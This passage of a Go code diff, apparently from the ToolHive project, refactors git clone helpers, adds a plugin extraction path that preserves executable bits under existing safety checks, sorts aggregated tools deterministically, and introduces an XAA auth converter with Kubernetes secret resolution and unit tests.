@@ type defaultResolver struct { fixedClient git.Client } -// clientForURL returns a git client appropriate for the given clone URL. -// If a fixed client was provided (testing), it is returned as-is. -// Otherwise, a new client is created with host-scoped auth from the environment. -func (r *defaultResolver) clientForURL(cloneURL string) git.Client { - if r.fixedClient != nil { - return r.fixedClient +// ClientForURL returns a git client for the given clone URL. When fixedClient +// is non-nil it is returned as-is (testing); otherwise a new client is created +// with host-scoped auth from the environment. Exported so +// pluginsvc.installFromGit can reuse the same auth-resolution path without +// duplicating clientForURL. +func ClientForURL(cloneURL string, fixedClient git.Client) git.Client { + if fixedClient != nil { + return fixedClient } auth := ResolveAuth(cloneURL) var opts []git.ClientOption @@ -93,31 +97,38 @@ func (r *defaultResolver) clientForURL(cloneURL string) git.Client { return git.NewDefaultGitClient(opts...) } -// Resolve clones a git repository and extracts skill files from it. -func (r *defaultResolver) Resolve(ctx context.Context, ref *GitReference) (*ResolveResult, error) { - // Enforce a clone timeout to prevent indefinite hangs from slow/malicious servers. - ctx, cancel := context.WithTimeout(ctx, cloneTimeout) - defer cancel() - - // Build clone config from the git reference - cloneConfig := &git.CloneConfig{ - URL: ref.URL, - } +// CloneConfigForRef classifies ref as commit/tag/branch and returns the +// matching git.CloneConfig (with URL set from ref.URL). Exported so +// pluginsvc.installFromGit can reuse the same ref-classification logic +// without duplicating semverLike/isHex. +func CloneConfigForRef(ref *GitReference) *git.CloneConfig { + cfg := &git.CloneConfig{URL: ref.URL} if ref.Ref != "" { switch { case len(ref.Ref) == 40 && isHex(ref.Ref): // Full commit hash → checkout specific commit - cloneConfig.Commit = ref.Ref + cfg.Commit = ref.Ref case semverLike.MatchString(ref.Ref): // Semver-like pattern (v1.0.0) → clone as tag - cloneConfig.Tag = ref.Ref + cfg.Tag = ref.Ref default: // Everything else → treat as branch - cloneConfig.Branch = ref.Ref + cfg.Branch = ref.Ref } } + return cfg +} + +// Resolve clones a git repository and extracts skill files from it. +func (r *defaultResolver) Resolve(ctx context.Context, ref *GitReference) (*ResolveResult, error) { + // Enforce a clone timeout to prevent indefinite hangs from slow/malicious servers. + ctx, cancel := context.WithTimeout(ctx, CloneTimeout) + defer cancel() + + // Build clone config from the git reference + cloneConfig := CloneConfigForRef(ref) - client := r.clientForURL(ref.URL) + client := ClientForURL(ref.URL, r.fixedClient) repoInfo, err := client.Clone(ctx, cloneConfig) if err != nil { diff --git a/pkg/skills/installer.go b/pkg/skills/installer.go index 8d6e7b0de3..67876cae7d 100644 --- a/pkg/skills/installer.go +++ b/pkg/skills/installer.go @@ -26,6 +26,10 @@ const ( DirPermissions os.FileMode = 0750 // FilePermissionMask strips setuid, setgid, sticky bits and caps at 0644. FilePermissionMask os.FileMode = 0644 + // PluginFilePermissionMask strips setuid, setgid, sticky bits and caps at + // 0755, preserving the executable bit so plugin hook scripts keep +x. + // For non-executable files (mode 0644), 0644 & 0755 = 0644 — no change. + PluginFilePermissionMask os.FileMode = 0755 ) // ExtractResult contains the outcome of an Extract operation. @@ -49,6 +53,10 @@ func (*defaultInstaller) Extract(layerData []byte, targetDir string, force bool) return Extract(layerData, targetDir, force) } +func (*defaultInstaller) ExtractPlugin(layerData []byte, targetDir string, force bool) (*ExtractResult, error) { + return ExtractPlugin(layerData, targetDir, force) +} + func (*defaultInstaller) Remove(skillDir string) error { return Remove(skillDir) } @@ -94,7 +102,63 @@ func Extract(layerData []byte, targetDir string, force bool) (*ExtractResult, er return nil, fmt.Errorf("creating target directory: %w", err) } - if err := writeFiles(files, targetDir); err != nil { + if err := writeFiles(files, targetDir, FilePermissionMask); err != nil { + return nil, err + } + + // Defense in depth: verify the extracted directory post-extraction + if err := CheckFilesystem(targetDir); err != nil { + _ = os.RemoveAll(targetDir) // clean up on verification failure + return nil, fmt.Errorf("post-extraction verification failed: %w", err) + } + + return &ExtractResult{ + SkillDir: targetDir, + Files: len(files), + }, nil +} + +// ExtractPlugin is like Extract but uses PluginFilePermissionMask (0755) so +// executable files (hook scripts, entry points) keep their +x bit. Used by +// plugin adapters which install multi-component trees that may include +// executable hooks — unlike skills, which are single markdown files. +func ExtractPlugin(layerData []byte, targetDir string, force bool) (*ExtractResult, error) { + // Decompress gzip with total size limit + tarData, err := ociskills.DecompressWithLimit(layerData, MaxTotalExtractSize) + if err != nil { + return nil, fmt.Errorf("decompressing layer: %w", err) + } + + // Extract tar with per-file size limit (rejects symlinks, hardlinks, path traversal) + files, err := ociskills.ExtractTarWithLimit(tarData, MaxFileExtractSize) + if err != nil { + return nil, fmt.Errorf("extracting tar: %w", err) + } + + if len(files) > MaxExtractFileCount { + return nil, fmt.Errorf("archive contains %d files, exceeding limit of %d", len(files), MaxExtractFileCount) + } + + // Handle existing directory + if _, statErr := os.Stat(targetDir); statErr == nil { + if !force { + return nil, fmt.Errorf("target directory %q already exists; use force to overwrite", targetDir) + } + if err := Remove(targetDir); err != nil { + return nil, fmt.Errorf("removing existing directory: %w", err) + } + } + + // Pre-extraction: validate that no existing path components are symlinks. + if err := ValidatePathNoSymlinks(targetDir); err != nil { + return nil, fmt.Errorf("target path validation: %w", err) + } + + if err := os.MkdirAll(targetDir, DirPermissions); err != nil { + return nil, fmt.Errorf("creating target directory: %w", err) + } + + if err := writeFiles(files, targetDir, PluginFilePermissionMask); err != nil { return nil, err } @@ -111,14 +175,16 @@ func Extract(layerData []byte, targetDir string, force bool) (*ExtractResult, er } // writeFiles writes extracted file entries to targetDir with containment checks -// and sanitized permissions. -func writeFiles(files []ociskills.FileEntry, targetDir string) error { +// and sanitized permissions. The mask controls how much of the original mode +// is preserved (FilePermissionMask for skills, PluginFilePermissionMask for +// plugins). +func writeFiles(files []ociskills.FileEntry, targetDir string, mask os.FileMode) error { cleanTarget := filepath.Clean(targetDir) for _, f := range files { - // Sanitize file permissions: strip setuid/setgid/sticky, cap at 0644. + // Sanitize file permissions: strip setuid/setgid/sticky, apply mask. // Pre-write containment check is handled by WriteContainedFile. - mode := os.FileMode(f.Mode&0o777) & FilePermissionMask //nolint:gosec // mode is masked to 9 bits before conversion + mode := os.FileMode(f.Mode&0o777) & mask //nolint:gosec // mode is masked to 9 bits before conversion if err := fileutils.WriteContainedFile(cleanTarget, f.Path, f.Content, DirPermissions, mode); err != nil { return err diff --git a/pkg/skills/mocks/mock_path_resolver.go b/pkg/skills/mocks/mock_path_resolver.go index 0ef65e7405..7df94df0a7 100644 --- a/pkg/skills/mocks/mock_path_resolver.go +++ b/pkg/skills/mocks/mock_path_resolver.go @@ -108,6 +108,21 @@ func (mr *MockInstallerMockRecorder) Extract(layerData, targetDir, force any) *g return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Extract", reflect.TypeOf((*MockInstaller)(nil).Extract), layerData, targetDir, force) } +// ExtractPlugin mocks base method. +func (m *MockInstaller) ExtractPlugin(layerData []byte, targetDir string, force bool) (*skills.ExtractResult, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ExtractPlugin", layerData, targetDir, force) + ret0, _ := ret[0].(*skills.ExtractResult) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// ExtractPlugin indicates an expected call of ExtractPlugin. +func (mr *MockInstallerMockRecorder) ExtractPlugin(layerData, targetDir, force any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ExtractPlugin", reflect.TypeOf((*MockInstaller)(nil).ExtractPlugin), layerData, targetDir, force) +} + // Remove mocks base method. func (m *MockInstaller) Remove(skillDir string) error { m.ctrl.T.Helper() diff --git a/pkg/skills/types.go b/pkg/skills/types.go index c52904efe8..224e7b8d00 100644 --- a/pkg/skills/types.go +++ b/pkg/skills/types.go @@ -200,6 +200,9 @@ type PathResolver interface { type Installer interface { // Extract decompresses a tar.gz OCI layer and writes files to targetDir. Extract(layerData []byte, targetDir string, force bool) (*ExtractResult, error) + // ExtractPlugin is like Extract but preserves the executable bit (cap 0755) + // so plugin hook scripts keep +x. Used by plugin adapters. + ExtractPlugin(layerData []byte, targetDir string, force bool) (*ExtractResult, error) // Remove safely removes a skill directory. Remove(skillDir string) error } diff --git a/pkg/transport/proxy/streamable/streamable_proxy.go b/pkg/transport/proxy/streamable/streamable_proxy.go index 6121f1b942..f0f7c098db 100644 --- a/pkg/transport/proxy/streamable/streamable_proxy.go +++ b/pkg/transport/proxy/streamable/streamable_proxy.go @@ -471,11 +471,11 @@ func (p *HTTPProxy) handleSingleRequest( if errors.Is(err, context.DeadlineExceeded) || errors.Is(err, context.Canceled) { //nolint:gosec // G706: method is from parsed JSON-RPC request slog.Warn("timeout waiting for response", "method", req.Method) - writeJSONRPCError(w, req.ID, -32603, "Timeout waiting for response from container") + writeJSONRPCError(w, req.ID, "Timeout waiting for response from container") } else { //nolint:gosec // G706: method is from parsed JSON-RPC request slog.Error("failed to process request", "method", req.Method, "error", err) - writeJSONRPCError(w, req.ID, -32603, "Failed to process request") + writeJSONRPCError(w, req.ID, "Failed to process request") } return } diff --git a/pkg/transport/proxy/streamable/streamable_proxy_test.go b/pkg/transport/proxy/streamable/streamable_proxy_test.go index ed36560ecd..3f27d7636e 100644 --- a/pkg/transport/proxy/streamable/streamable_proxy_test.go +++ b/pkg/transport/proxy/streamable/streamable_proxy_test.go @@ -212,7 +212,7 @@ func TestWriteJSONRPCError_WithID(t *testing.T) { t.Parallel() w := &httpRecorder{header: make(map[string][]string)} - writeJSONRPCError(w, jsonrpc2.StringID("req-1"), -32603, "Timeout waiting for response from container") + writeJSONRPCError(w, jsonrpc2.StringID("req-1"), "Timeout waiting for response from container") assert.Equal(t, "application/json", w.header.Get("Content-Type")) assert.Contains(t, string(w.body), `"error"`) @@ -223,7 +223,7 @@ func TestWriteJSONRPCError_Notification(t *testing.T) { t.Parallel() w := &httpRecorder{header: make(map[string][]string)} - writeJSONRPCError(w, jsonrpc2.ID{}, -32603, "Timeout") + writeJSONRPCError(w, jsonrpc2.ID{}, "Timeout") assert.Equal(t, 202, w.statusCode) assert.Empty(t, w.body) diff --git a/pkg/transport/proxy/streamable/utils.go b/pkg/transport/proxy/streamable/utils.go index 6aeac0606a..1281cf970c 100644 --- a/pkg/transport/proxy/streamable/utils.go +++ b/pkg/transport/proxy/streamable/utils.go @@ -25,15 +25,17 @@ func writeHTTPError(w http.ResponseWriter, status int, msg string) { http.Error(w, msg, status) } -// writeJSONRPCError writes a structured JSON-RPC error response. +// writeJSONRPCError writes a structured JSON-RPC internal error (-32603) response. // For notifications (no ID), it returns 202 Accepted instead of // synthesizing a response, which would be a protocol violation. -func writeJSONRPCError(w http.ResponseWriter, id jsonrpc2.ID, code int64, msg string) { +func writeJSONRPCError(w http.ResponseWriter, id jsonrpc2.ID, msg string) { + const internalErrorCode = -32603 + if id.Raw() == nil { w.WriteHeader(http.StatusAccepted) return } - resp, err := jsonrpc2.NewResponse(id, nil, jsonrpc2.NewError(code, msg)) + resp, err := jsonrpc2.NewResponse(id, nil, jsonrpc2.NewError(internalErrorCode, msg)) if err != nil { slog.Error("failed to create JSON-RPC error response", "error", err) writeHTTPError(w, http.StatusInternalServerError, "Failed to create error response") diff --git a/pkg/vmcp/aggregator/aggregator.go b/pkg/vmcp/aggregator/aggregator.go index ecbc323ba8..4bc9b81d9b 100644 --- a/pkg/vmcp/aggregator/aggregator.go +++ b/pkg/vmcp/aggregator/aggregator.go @@ -134,7 +134,8 @@ type ResolvedTool struct { // AggregatedCapabilities is the final unified view of all backend capabilities. // This is what gets exposed to MCP clients via tools/list, resources/list, prompts/list. type AggregatedCapabilities struct { - // Tools are the aggregated backend tools (ready to expose to clients). + // Tools are the aggregated backend tools (ready to expose to clients), + // sorted by name for deterministic ordering. Tools []vmcp.Tool // CompositeTools are the composite workflow tools defined in vMCP configuration. diff --git a/pkg/vmcp/aggregator/caching_aggregator.go b/pkg/vmcp/aggregator/caching_aggregator.go index 028efd90e5..3c34973b7e 100644 --- a/pkg/vmcp/aggregator/caching_aggregator.go +++ b/pkg/vmcp/aggregator/caching_aggregator.go @@ -85,7 +85,8 @@ func NewCachingAggregator(next Aggregator, ttl time.Duration) Aggregator { // AggregateCapabilities returns a cached view when a fresh entry exists for the caller's // identity + forwarded credentials + backend set, and otherwise sweeps the backends (via the -// wrapped aggregator) and caches the result. Errors are never cached; a partial view is cached for at most partialCapabilityTTL. The returned value is +// wrapped aggregator) and caches the result. Errors are never cached; a partial view is cached +// for at most partialCapabilityTTL. The returned value is // treated as immutable by the core (it derives fresh per-call routers from it), so the cached // pointer is shared rather than deep-copied. func (c *cachingAggregator) AggregateCapabilities( diff --git a/pkg/vmcp/aggregator/default_aggregator.go b/pkg/vmcp/aggregator/default_aggregator.go index 6aeaf2bca6..894ceda5e6 100644 --- a/pkg/vmcp/aggregator/default_aggregator.go +++ b/pkg/vmcp/aggregator/default_aggregator.go @@ -7,6 +7,7 @@ import ( "context" "fmt" "log/slog" + "sort" "sync" "time" @@ -361,6 +362,10 @@ func (a *defaultAggregator) MergeCapabilities( } } + sort.Slice(tools, func(i, j int) bool { + return tools[i].Name < tools[j].Name + }) + // Add resources to routing table for _, resource := range resolved.Resources { backend := registry.Get(ctx, resource.BackendID) diff --git a/pkg/vmcp/aggregator/default_aggregator_test.go b/pkg/vmcp/aggregator/default_aggregator_test.go index b21505d415..a25fd0343c 100644 --- a/pkg/vmcp/aggregator/default_aggregator_test.go +++ b/pkg/vmcp/aggregator/default_aggregator_test.go @@ -167,7 +167,7 @@ func TestDefaultAggregator_QueryAllCapabilities_SlowBackendFailsFast(t *testing. mockClient := mocks.NewMockBackendClient(ctrl) backends := []vmcp.Backend{ newTestBackend(testBackendID1), - newTestBackend("backend2", withBackendURL("http://localhost:8081")), + newTestBackend("backend2", withBackendURL("http://localhost:8082")), } caps1 := newTestCapabilityList(withTools(newTestTool("tool1", testBackendID1))) @@ -349,6 +349,47 @@ func TestDefaultAggregator_MergeCapabilities(t *testing.T) { }) } +func TestDefaultAggregator_MergeCapabilities_DeterministicToolOrder(t *testing.T) { + t.Parallel() + + names := []string{"zebra_tool", "middle_tool", "alpha_tool", "omega_tool", "delta_tool", "beta_tool", "gamma_tool"} + resolvedTools := make(map[string]*ResolvedTool, len(names)) + for _, name := range names { + resolvedTools[name] = &ResolvedTool{ + ResolvedName: name, + OriginalName: name, + BackendID: "backend1", + } + } + + registry := vmcp.NewImmutableRegistry([]vmcp.Backend{ + { + ID: "backend1", + Name: "Backend 1", + BaseURL: "http://backend1:8080", + TransportType: "streamable-http", + HealthStatus: vmcp.BackendHealthy, + }, + }) + agg := NewDefaultAggregator(nil, nil, nil, nil) + + want := []string{"alpha_tool", "beta_tool", "delta_tool", "gamma_tool", "middle_tool", "omega_tool", "zebra_tool"} + + // Repeated because map iteration order is re-randomized on every merge. + for range 10 { + aggregated, err := agg.MergeCapabilities( + context.Background(), &ResolvedCapabilities{Tools: resolvedTools}, registry, + ) + require.NoError(t, err) + + got := make([]string, len(aggregated.Tools)) + for i, tool := range aggregated.Tools { + got[i] = tool.Name + } + require.Equal(t, want, got, "tools should always be sorted by name") + } +} + func TestDefaultAggregator_AggregateCapabilities(t *testing.T) { t.Parallel() diff --git a/pkg/vmcp/auth/converters/interface.go b/pkg/vmcp/auth/converters/interface.go index 334cb905d6..858bc94dc5 100644 --- a/pkg/vmcp/auth/converters/interface.go +++ b/pkg/vmcp/auth/converters/interface.go @@ -76,6 +76,7 @@ func NewRegistry() *Registry { r.Register(mcpv1beta1.ExternalAuthTypeUpstreamInject, &UpstreamInjectConverter{}) r.Register(mcpv1beta1.ExternalAuthTypeAWSSts, &AwsStsConverter{}) r.Register(mcpv1beta1.ExternalAuthTypeOBO, &OBOConverter{}) + r.Register(mcpv1beta1.ExternalAuthTypeXAA, &XAAConverter{}) return r } diff --git a/pkg/vmcp/auth/converters/registry_test.go b/pkg/vmcp/auth/converters/registry_test.go index b800b54f1c..f9c00277d4 100644 --- a/pkg/vmcp/auth/converters/registry_test.go +++ b/pkg/vmcp/auth/converters/registry_test.go @@ -107,6 +107,12 @@ func TestDefaultRegistry(t *testing.T) { require.NotNil(t, oboConverter) assert.Equal(t, "obo", oboConverter.StrategyType()) assert.IsType(t, &OBOConverter{}, oboConverter) + + // Test XAA converter + xaaConverter, err := registry.GetConverter(mcpv1beta1.ExternalAuthTypeXAA) + require.NoError(t, err) + require.NotNil(t, xaaConverter) + assert.Equal(t, "xaa", xaaConverter.StrategyType()) }) } @@ -144,6 +150,10 @@ func TestNewRegistry(t *testing.T) { oboConverter, err := registry.GetConverter(mcpv1beta1.ExternalAuthTypeOBO) require.NoError(t, err) assert.NotNil(t, oboConverter) + + xaaConverter, err := registry.GetConverter(mcpv1beta1.ExternalAuthTypeXAA) + require.NoError(t, err) + assert.NotNil(t, xaaConverter) }) t.Run("creates independent instances", func(t *testing.T) { @@ -172,6 +182,7 @@ func TestNewRegistry(t *testing.T) { {mcpv1beta1.ExternalAuthTypeUpstreamInject, "upstream_inject"}, {mcpv1beta1.ExternalAuthTypeAWSSts, "aws_sts"}, {mcpv1beta1.ExternalAuthTypeOBO, "obo"}, + {mcpv1beta1.ExternalAuthTypeXAA, "xaa"}, } for _, tc := range testCases { diff --git a/pkg/vmcp/auth/converters/secrets.go b/pkg/vmcp/auth/converters/secrets.go new file mode 100644 index 0000000000..7b77194435 --- /dev/null +++ b/pkg/vmcp/auth/converters/secrets.go @@ -0,0 +1,40 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package converters + +import ( + "context" + "fmt" + + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/types" + "sigs.k8s.io/controller-runtime/pkg/client" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" +) + +// resolveSecretKeyRef fetches a secret value from Kubernetes using a SecretKeyRef. +func resolveSecretKeyRef( + ctx context.Context, + k8sClient client.Client, + namespace string, + ref *mcpv1beta1.SecretKeyRef, +) (string, error) { + secret := &corev1.Secret{} + secretKey := types.NamespacedName{ + Name: ref.Name, + Namespace: namespace, + } + + if err := k8sClient.Get(ctx, secretKey, secret); err != nil { + return "", fmt.Errorf("failed to get secret %s/%s: %w", namespace, ref.Name, err) + } + + secretValue, ok := secret.Data[ref.Key] + if !ok { + return "", fmt.Errorf("secret %s/%s does not contain key %s", namespace, ref.Name, ref.Key) + } + + return string(secretValue), nil +} diff --git a/pkg/vmcp/auth/converters/xaa.go b/pkg/vmcp/auth/converters/xaa.go new file mode 100644 index 0000000000..fc463625da --- /dev/null +++ b/pkg/vmcp/auth/converters/xaa.go @@ -0,0 +1,92 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package converters + +import ( + "context" + "fmt" + + "sigs.k8s.io/controller-runtime/pkg/client" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" +) + +// XAAConverter converts MCPExternalAuthConfig with xaa type to the runtime XAAConfig. +// XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG), an IETF draft +// for cross-application access using Identity Assertion JWT Authorization Grants. +type XAAConverter struct{} + +// StrategyType returns the vMCP strategy type identifier for XAA auth. +func (*XAAConverter) StrategyType() string { + return authtypes.StrategyTypeXAA +} + +// ConvertToStrategy converts an MCPExternalAuthConfig with type "xaa" to a BackendAuthStrategy. +// Secret references are not resolved here; they are resolved by ResolveSecrets. +func (*XAAConverter) ConvertToStrategy( + externalAuth *mcpv1beta1.MCPExternalAuthConfig, +) (*authtypes.BackendAuthStrategy, error) { + xaa := externalAuth.Spec.XAA + if xaa == nil { + return nil, fmt.Errorf("xaa config is nil") + } + + return &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: xaa.IDPTokenURL, + IDPClientID: xaa.IDPClientID, + TargetTokenURL: xaa.TargetTokenURL, + InsecureTargetTokenURL: xaa.InsecureTargetTokenURL, + TargetClientID: xaa.TargetClientID, + TargetAudience: xaa.TargetAudience, + TargetResource: xaa.TargetResource, + Scopes: xaa.Scopes, + SubjectProviderName: xaa.SubjectProviderName, + SubjectTokenType: xaa.SubjectTokenType, + }, + }, nil +} + +// ResolveSecrets fetches the IdP and target client secrets from Kubernetes and sets them +// in the strategy. This is used in discovered auth mode where secrets cannot be mounted +// as environment variables because the vMCP pod does not know about backend auth configs +// at pod creation time. +func (*XAAConverter) ResolveSecrets( + ctx context.Context, + externalAuth *mcpv1beta1.MCPExternalAuthConfig, + k8sClient client.Client, + namespace string, + strategy *authtypes.BackendAuthStrategy, +) (*authtypes.BackendAuthStrategy, error) { + if strategy == nil || strategy.XAA == nil { + return nil, fmt.Errorf("xaa strategy is nil") + } + + xaa := externalAuth.Spec.XAA + if xaa == nil { + return nil, fmt.Errorf("xaa config is nil") + } + + // Resolve IdP client secret + if xaa.IDPClientSecretRef != nil { + secretValue, err := resolveSecretKeyRef(ctx, k8sClient, namespace, xaa.IDPClientSecretRef) + if err != nil { + return nil, fmt.Errorf("failed to resolve IdP client secret: %w", err) + } + strategy.XAA.IDPClientSecret = secretValue + } + + // Resolve target client secret + if xaa.TargetClientSecretRef != nil { + secretValue, err := resolveSecretKeyRef(ctx, k8sClient, namespace, xaa.TargetClientSecretRef) + if err != nil { + return nil, fmt.Errorf("failed to resolve target client secret: %w", err) + } + strategy.XAA.TargetClientSecret = secretValue + } + + return strategy, nil +} diff --git a/pkg/vmcp/auth/converters/xaa_test.go b/pkg/vmcp/auth/converters/xaa_test.go new file mode 100644 index 0000000000..20d3ef5d6c --- /dev/null +++ b/pkg/vmcp/auth/converters/xaa_test.go @@ -0,0 +1,468 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package converters + +import ( + "context" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + "sigs.k8s.io/controller-runtime/pkg/client" + "sigs.k8s.io/controller-runtime/pkg/client/fake" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" +) + +func TestXAAConverter_StrategyType(t *testing.T) { + t.Parallel() + + converter := &XAAConverter{} + assert.Equal(t, authtypes.StrategyTypeXAA, converter.StrategyType()) +} + +func TestXAAConverter_ConvertToStrategy(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + externalAuth *mcpv1beta1.MCPExternalAuthConfig + wantStrategy *authtypes.BackendAuthStrategy + wantErr bool + errContains string + }{ + { + name: "full xaa config", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + Scopes: []string{"openid", "profile"}, + SubjectProviderName: "github", + SubjectTokenType: "urn:ietf:params:oauth:token-type:id_token", + }, + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + Scopes: []string{"openid", "profile"}, + SubjectProviderName: "github", + SubjectTokenType: "urn:ietf:params:oauth:token-type:id_token", + }, + }, + }, + { + name: "minimal required fields", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "minimal-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { + name: "nil xaa config", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "nil-config", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: nil, + }, + }, + wantErr: true, + errContains: "xaa config is nil", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + converter := &XAAConverter{} + strategy, err := converter.ConvertToStrategy(tt.externalAuth) + + if tt.wantErr { + require.Error(t, err) + if tt.errContains != "" { + assert.Contains(t, err.Error(), tt.errContains) + } + return + } + + require.NoError(t, err) + assert.Equal(t, tt.wantStrategy, strategy) + }) + } +} + +func TestXAAConverter_ResolveSecrets(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + externalAuth *mcpv1beta1.MCPExternalAuthConfig + setupSecrets func(client.Client) error + inputStrategy *authtypes.BackendAuthStrategy + wantStrategy *authtypes.BackendAuthStrategy + wantErr bool + errContains string + }{ + { + name: "resolves both IdP and target secrets", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + setupSecrets: func(k8sClient client.Client) error { + idpSecret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "idp-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("idp-secret-value"), + }, + } + targetSecret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "target-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("target-secret-value"), + }, + } + if err := k8sClient.Create(context.Background(), idpSecret); err != nil { + return err + } + return k8sClient.Create(context.Background(), targetSecret) + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecret: "idp-secret-value", + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecret: "target-secret-value", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { + name: "resolves only IdP secret when target has none", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + setupSecrets: func(k8sClient client.Client) error { + secret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "idp-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("idp-secret-value"), + }, + } + return k8sClient.Create(context.Background(), secret) + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientSecret: "idp-secret-value", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { 